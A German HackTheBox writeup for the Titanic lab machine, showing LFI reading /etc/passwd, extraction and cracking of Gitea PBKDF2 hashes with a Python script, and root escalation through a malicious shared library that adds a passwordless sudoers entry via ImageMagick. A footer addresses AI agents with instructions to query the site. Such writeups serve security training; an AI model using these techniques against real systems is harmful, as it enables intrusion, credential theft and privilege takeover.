> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md).

# Titanic HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Titanic mit Abdeckung von Local File Inclusion (LFI), Gitea-Datenbankextraktion, ImageMagick-Exploit (Privilegieneskalation), mit praktischer Enumeration, Ausnutzung, Fo

{% embed url="<http://app.hackthebox.com/machines/648>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* **Lokale Dateieinbindung (LFI)**
* **Gitea-Datenbankextraktion**
* **ImageMagick-Exploit (Rechteausweitung)**
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61fe0123ec400d7bbada0d558940227c9a620066%2Fimage%20(561).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b90e4da7e0addce8a6b9d20fd224736fc90a218%2Fimage%20(562).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55a65c93d72c4ec88960643d5382782a16373290%2Fimage%20(563).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (22.80)

```bash
nmap -sCV -p22,80 10.10.11.55 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8147909227793545eab51f0f781a9da78ea6a204%2Fimage%20(564).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann fügen wir die IP zu unserem `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f85698b6a546722bfae8e703afa31f4acda3541c%2Fimage%20(565).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Scannen von Port 80 (HTTP)

####

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6a893ab50dc8e4b7a447b2f621a165b07b10943%2Fimage%20(566).png?alt=media" alt=""><figcaption></figcaption></figure>

### Scannen von Port 80 (HTTP)

#### Technologieerkennung

Mit `Wappalyzer`, identifizieren wir, dass die Seite verwendet **Flask und Python**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d683555837d26a894021747530de79627600d251%2Fimage%20(568).png?alt=media" alt="" width="349"><figcaption></figcaption></figure>

## Lokale Dateieinbindung (LFI) <a href="#fb9e" id="fb9e"></a>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7eaee2b0f88f73ef5df9274707f272d7cd871f27%2Fimage%20(569).png?alt=media" alt="" width="423"><figcaption></figcaption></figure>

Die Seite bietet eine Option, eine Reise zu bestellen, die eine JSON-Datei zurückgibt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c076e50ed67c36d5864277d7b14d01306c08acbb%2Fimage%20(570).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e58a354c6f93d805b13c7c54c54e3a282e1ef8f1%2Fimage%20(571).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Indem wir die Anfrage mit **Burp Suite**, bemerken wir ein `download` Parameter, der Zugriff auf die Dateien ermöglicht:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24ff57fcfc78c51d84ea2994aea92c3f213d4ef6%2Fimage%20(572).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json
```

Wir testen eine Dateieinbindung:

```
/download?ticket=/etc/passwd
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96c2896e5843f191e6343ea1bd8f9821c4c1771a%2Fimage%20(573).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73f69b3af86a719c8e01eb4ebe75baaac3a4269c%2Fimage%20(574).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit `curl`:

```
curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd
```

Wir erhalten die Systembenutzer, einschließlich **developer**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-644002ef4c05b2c5717bca48515bfd5302629f15%2Fimage%20(575).png?alt=media" alt=""><figcaption></figcaption></figure>

### Subdomain-Fuzzing

Wir suchen nach Subdomains mit **Gobuster**:

```bash
gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9df1da4de1807b46b08c358fd9b362de97758d9%2Fimage%20(576).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken **dev.titanic.htb**, die wir zu `/etc/hosts`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f48c098ead59efd095afe8f4c12566579d09a91%2Fimage%20(577).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Gitea-Exploitation

Auf der **dev** Subdomain finden wir eine **Gitea** Instanz.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0e35135e1f23a94edbadae8a90686cb807c7f5d%2Fimage%20(578).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Einen Benutzer erstellen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3cd2ab652ba2c1568b03d7756003dcb98c8a9ec%2Fimage%20(579).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden ein im Klartext gespeichertes Passwort (Datenbank):

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0bb993a09b13c987aa09d3aef6ae3ff2c62a85d2%2Fimage%20(582).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Durchsuchen der Gitea-SQLite-Datenbank finden wir ihren Pfad:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce6340d965c6f787c1890051c1d16d1131183203%2Fimage%20(583).png?alt=media" alt=""><figcaption></figcaption></figure>

`/home/developer/gitea/data/gitea/gitea.db`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a29cb1c69646e25ce74b130fa21b84303cdf3d37%2Fimage%20(584).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verbinden uns damit:

```sql
sqlite3 gitea.db
.tables
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92de7f883e9db252a0d5ac779e25d89426542dc3%2Fimage%20(585).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann extrahieren wir die Passwort-Hashes:

```sql
SELECT lower_name, passwd, salt FROM user;
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a733e997037d8fcf0f18505310b4640475daedf2%2Fimage%20(586).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute-Force mit gesalzenem Hash

#### Hash:

```
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
```

#### Salz:

```
b8dc26d526439f6f2f4523fa8ea522a2
```

Wir verwenden ein Python-Skript, um den Hash zu knacken:

```python
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"Anzahl: {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"/nGefundenes Passwort: {password}")
                return password
        print("Passwort nicht gefunden.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
```

#### - Das gefundene Passwort ist **25282528**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c29e418fafb16a7bf2cd2e5cdd55c835b947c817%2Fimage%20(590).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verbinden uns per SSH:

```bash
ssh developer@ticanic.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91b18d813e4b68f48dd6a85cb4e702b9618dc366%2Fimage%20(588).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a18fd20532fc7f4db44069e230161a562d610b6%2Fimage%20(589).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Cron-Job - ImageMagick-Exploitation

In `/opt/`, finden wir ein Skript `script.sh` automatisch ausgeführt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-405dd69316382e6676db340d810cdbbbba7e8e98%2Fimage%20(591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> Dieses Shell-Skript wechselt zunächst in das `/opt/app/static/assets/images` Verzeichnis, dann leert es die `metadata.log` Datei, falls sie existiert. Dann sucht es nach allen `.jpg` Dateien in diesem Verzeichnis und verwendet ImageMagicks `identify` Befehl, um deren Metadaten (Größe, Format, Farbtiefe usw.) zu extrahieren. Diese Informationen werden dann in `metadata.log`gespeichert. Dieses Skript ermöglicht es also, eine aktualisierte Metadatendatei für alle im angegebenen Ordner vorhandenen JPG-Bilder zu erzeugen.

Das Skript verwendet **ImageMagick**, eine verwundbare Version.

```bash
magicks --version
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81c5d780bb64c99840c1b2a9bed084fcb66291a6%2Fimage%20(592).png?alt=media" alt=""><figcaption></figcaption></figure>

### Ausnutzung über `LD_PRELOAD`

Wir erstellen eine `a.c` Datei ein:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

Kompilierung:

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4dad16b3523735bf8c1ff264a1e488284f30be4e%2Fimage%20(597).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen es dem Verzeichnis hinzu, das überwacht und ausführbar ist von `ImageMagick`. Dann führen wir aus:

```bash
su root
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c322efb2330af5e3e434dfd76d322911542b0765%2Fimage%20(598).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01d12bc8cf479fbc9e226db7f26b18bc3e708347%2Fimage%20(596).png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
